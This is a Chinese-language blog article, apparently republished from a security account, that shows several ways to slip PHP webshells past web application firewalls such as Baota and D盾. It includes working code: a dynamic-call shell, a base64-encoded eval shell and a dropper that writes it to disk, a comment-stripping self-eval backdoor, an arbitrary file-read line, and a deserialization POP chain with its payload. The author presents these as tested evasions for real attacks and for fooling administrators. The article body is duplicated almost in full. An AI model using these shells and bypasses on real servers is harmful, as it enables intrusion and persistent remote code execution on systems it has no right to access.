1. 程式人生 > 實用技巧 >繞過waf的另類木馬檔案攻擊方法

繞過waf的另類木馬檔案攻擊方法

本文首發於“合天智匯”公眾號 作者:s1mple

​ 很久沒寫文章了,繼上次發先知到今天已經很久了;今天突發異想;因為之前打了西湖論劍,遇到了寶塔的waf,最後也是過去了,便覺得另類的攻擊方法值得寫篇文章分享下;

​ 首先我打算分享幾種;

一:動態呼叫

​ 首先,一些waf會對檔案內容進行檢索,如果發現有什麼危險的函式,或者有什麼危害的邏輯,都會進行攔擊,所以我們不能寫入一些危險的函式,否則就會被ban掉,其實在實際的攻擊中,也是存在和這次論劍web1一樣的繞過方式,在我們真正惡意程式碼前加入大量雜糅字元進行繞過;那麼就會存在此次web1的解法;

寫入<?php $_GET['0']($_GET['1']);?>我們在上傳的檔案中並沒有出現什麼危險的函式,而是通過後期的get傳入進行動態呼叫從而執行命令;這樣就會繞過上傳時waf的檢測;但是繞不過disable_function;;

載荷效果如下:

二:利用.htaccess檔案

​ 對於利用.htaccess檔案的攻擊方法,其實有很多方法;包括自我包含造成後門,或者auto_prepend_file檔案,或者自定義報錯目錄然後利用包含報錯寫入木馬最後自定義包含,AddType等等。當然如果想搞怪的話,也是可以利用.htaccess打出儲存型xss的效果;但是這裡主題分享如果過濾了內容中的一些敏感字元應如何。

比如過濾了<? 或者 < ;這裡也是老方法了;之前也寫過,利用.htaccess進行編碼的轉化,base64或者UTF-7都可;我們只需要將木馬檔案進行相應的編碼即可;這種方法可以繞過waf的檢測,但是也是繞不過 disable_function;

三:利用檔案修改檔案造成木馬

這種方式也確實值得分享,也是基於waf對我們的木馬內容進行過濾;當我們無法上傳帶有危險函式的木馬時;可以使用檔案篡改檔案的方法;這種方法基於第二種方法.htaccess無法傳入的時候;

比如:先傳入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=命名為1.php;這裡我們上傳時waf自然不會檢測到,因為我們確實沒有危險函式;然後再次傳入第二個沒有高度危險函式的2.php程式碼:

<?php 

$path ="/xx/xxx/xx/1.php";

$str= file_get_contents($path);

$strs = base64_decode($str);

$s1mple 
= fopen("./s1mple.php","w"); fwrite($s1mple,$strs); fclose($s1mple); ?>

程式碼邏輯簡單,將我們的檔案,進行了base64解密,然後寫入的一個新的php檔案中,這樣避免了file_put_contents這個極大概率被ban的函式的出現,又成功的寫入了檔案,我們訪問2.php,然後再訪問s1mple.php就可以拿到shell;載荷效果如下:

四:利用低危木馬;

基於第三種方法,我們如果不是拿許可權的話,也是可以利用一些低危的操作,比如任意檔案讀取等等;

下面先來看這段getshell的程式碼

<?php
$s1mple = file_get_contents(__FILE__);
eval(str_replace("<?php","",str_replace("//","",$s1mple)));
//eval($_GET['a']);
?>

這段程式碼在之前可以繞過D盾,是基於註釋的繞過;現在不確定還能否繞過;簡單分析下邏輯;首先$s1mple得到本篇程式碼的所有內容;然後執行一個替換的語句;先釋放出木馬語句;然後再將php頭換掉,保持了原本的php頭;這樣就釋放出了木馬,就可以通過get傳參進行命令執行;

或者換種方法,這裡我們可以直接file_get_contents函式進行攻擊,

<?php echo file_get_contents($_GET['a']);?>

這樣也就可以達到任意檔案讀取,當然,因為php的特性,也可以對file_get_contents進行各種處理,使其繞過waf;也可以結合其他php的內建函式進行攻擊,可以類比;這裡不在細說;

五:利用邏輯問題

​ 這種思想比較新穎;簡單來說,我們並不是傳入惡意程式碼,而是傳入一段正常的程式碼,然後通過邏輯修改其運作走向,從而達到惡意執行,那麼適合的就是pop鏈的構造了;

<?php
error_reporting(0);
class s1mple{
    public $A;
    function __construct(){
        $this->A=new hacker();
    }
    function __destruct(){
        $this->A->action();
    }
}
class hacker{
    function action(){
        echo "hello_hacker";
    }
}
class evil{
    public $data;
    function action(){
        eval($this->data);
    }
}
unserialize($_GET['a']);

先來看正常的程式碼;這段程式碼中我們按照正常的邏輯分析,肯定是沒有問題的;但是我們可以利用邏輯,改變其執行的走向從而進行物件注入達到攻擊;

O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}}

在我們一般的上傳中,往往是圖片,就單程式碼而言,其大小是微乎其微的;所以在實戰中也可用到;而且很難被檢測到;當然,這只是一種方式,也可以結合回撥函式和其他的函式,可以將其隱藏起來,然後利用pop觸發;而且如果程式碼偽造的合適的話,也是可以騙過管理員從而避免被管理員刪除的;

以上這些方法也算是新式方法,當然也可以考慮異或或者自增的木馬,也可以通過混淆進行攻擊,都可;但是實際中這些往往會被檢測,上述的幾種方法都是測試後可繞過D盾或者繞過寶塔的方法,供參考;另外一些方法需要可以首先繞過上傳對字尾的檢測,比如可以換行繞過寶塔對字尾的檢測;如果可以上傳php,那麼以上方法即可任意發揮攻擊;

相關實驗:WAF滲透攻防實踐

本文首發於“合天智匯”公眾號 作者:s1mple

​ 很久沒寫文章了,繼上次發先知到今天已經很久了;今天突發異想;因為之前打了西湖論劍,遇到了寶塔的waf,最後也是過去了,便覺得另類的攻擊方法值得寫篇文章分享下;

​ 首先我打算分享幾種;

一:動態呼叫

​ 首先,一些waf會對檔案內容進行檢索,如果發現有什麼危險的函式,或者有什麼危害的邏輯,都會進行攔擊,所以我們不能寫入一些危險的函式,否則就會被ban掉,其實在實際的攻擊中,也是存在和這次論劍web1一樣的繞過方式,在我們真正惡意程式碼前加入大量雜糅字元進行繞過;那麼就會存在此次web1的解法;

寫入<?php $_GET['0']($_GET['1']);?>我們在上傳的檔案中並沒有出現什麼危險的函式,而是通過後期的get傳入進行動態呼叫從而執行命令;這樣就會繞過上傳時waf的檢測;但是繞不過disable_function;;

載荷效果如下:

二:利用.htaccess檔案

​ 對於利用.htaccess檔案的攻擊方法,其實有很多方法;包括自我包含造成後門,或者auto_prepend_file檔案,或者自定義報錯目錄然後利用包含報錯寫入木馬最後自定義包含,AddType等等。當然如果想搞怪的話,也是可以利用.htaccess打出儲存型xss的效果;但是這裡主題分享如果過濾了內容中的一些敏感字元應如何。

比如過濾了<? 或者 < ;這裡也是老方法了;之前也寫過,利用.htaccess進行編碼的轉化,base64或者UTF-7都可;我們只需要將木馬檔案進行相應的編碼即可;這種方法可以繞過waf的檢測,但是也是繞不過 disable_function;

三:利用檔案修改檔案造成木馬

這種方式也確實值得分享,也是基於waf對我們的木馬內容進行過濾;當我們無法上傳帶有危險函式的木馬時;可以使用檔案篡改檔案的方法;這種方法基於第二種方法.htaccess無法傳入的時候;

比如:先傳入PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=命名為1.php;這裡我們上傳時waf自然不會檢測到,因為我們確實沒有危險函式;然後再次傳入第二個沒有高度危險函式的2.php程式碼:

<?php 

$path ="/xx/xxx/xx/1.php";

$str= file_get_contents($path);

$strs = base64_decode($str);

$s1mple = fopen("./s1mple.php","w");

fwrite($s1mple,$strs);
fclose($s1mple);
?>

程式碼邏輯簡單,將我們的檔案,進行了base64解密,然後寫入的一個新的php檔案中,這樣避免了file_put_contents這個極大概率被ban的函式的出現,又成功的寫入了檔案,我們訪問2.php,然後再訪問s1mple.php就可以拿到shell;載荷效果如下:

四:利用低危木馬;

基於第三種方法,我們如果不是拿許可權的話,也是可以利用一些低危的操作,比如任意檔案讀取等等;

下面先來看這段getshell的程式碼

<?php
$s1mple = file_get_contents(__FILE__);
eval(str_replace("<?php","",str_replace("//","",$s1mple)));
//eval($_GET['a']);
?>

這段程式碼在之前可以繞過D盾,是基於註釋的繞過;現在不確定還能否繞過;簡單分析下邏輯;首先$s1mple得到本篇程式碼的所有內容;然後執行一個替換的語句;先釋放出木馬語句;然後再將php頭換掉,保持了原本的php頭;這樣就釋放出了木馬,就可以通過get傳參進行命令執行;

或者換種方法,這裡我們可以直接file_get_contents函式進行攻擊,

<?php echo file_get_contents($_GET['a']);?>

這樣也就可以達到任意檔案讀取,當然,因為php的特性,也可以對file_get_contents進行各種處理,使其繞過waf;也可以結合其他php的內建函式進行攻擊,可以類比;這裡不在細說;

五:利用邏輯問題

​ 這種思想比較新穎;簡單來說,我們並不是傳入惡意程式碼,而是傳入一段正常的程式碼,然後通過邏輯修改其運作走向,從而達到惡意執行,那麼適合的就是pop鏈的構造了;

<?php
error_reporting(0);
class s1mple{
    public $A;
    function __construct(){
        $this->A=new hacker();
    }
    function __destruct(){
        $this->A->action();
    }
}
class hacker{
    function action(){
        echo "hello_hacker";
    }
}
class evil{
    public $data;
    function action(){
        eval($this->data);
    }
}
unserialize($_GET['a']);

先來看正常的程式碼;這段程式碼中我們按照正常的邏輯分析,肯定是沒有問題的;但是我們可以利用邏輯,改變其執行的走向從而進行物件注入達到攻擊;

O:6:"s1mple":1:{s:1:"A";O:4:"evil":1:{s:4:"data";s:10:"phpinfo();";}}

在我們一般的上傳中,往往是圖片,就單程式碼而言,其大小是微乎其微的;所以在實戰中也可用到;而且很難被檢測到;當然,這只是一種方式,也可以結合回撥函式和其他的函式,可以將其隱藏起來,然後利用pop觸發;而且如果程式碼偽造的合適的話,也是可以騙過管理員從而避免被管理員刪除的;

以上這些方法也算是新式方法,當然也可以考慮異或或者自增的木馬,也可以通過混淆進行攻擊,都可;但是實際中這些往往會被檢測,上述的幾種方法都是測試後可繞過D盾或者繞過寶塔的方法,供參考;另外一些方法需要可以首先繞過上傳對字尾的檢測,比如可以換行繞過寶塔對字尾的檢測;如果可以上傳php,那麼以上方法即可任意發揮攻擊;

相關實驗:WAF滲透攻防實踐

實驗:WAF滲透攻防實踐(合天網安實驗室)

通過該實驗瞭解基於規則的WAF的工作原理,通過分析相關防禦規則,嘗試使用多種方法進行繞過,使讀者直觀感受攻防雙方的博弈過程。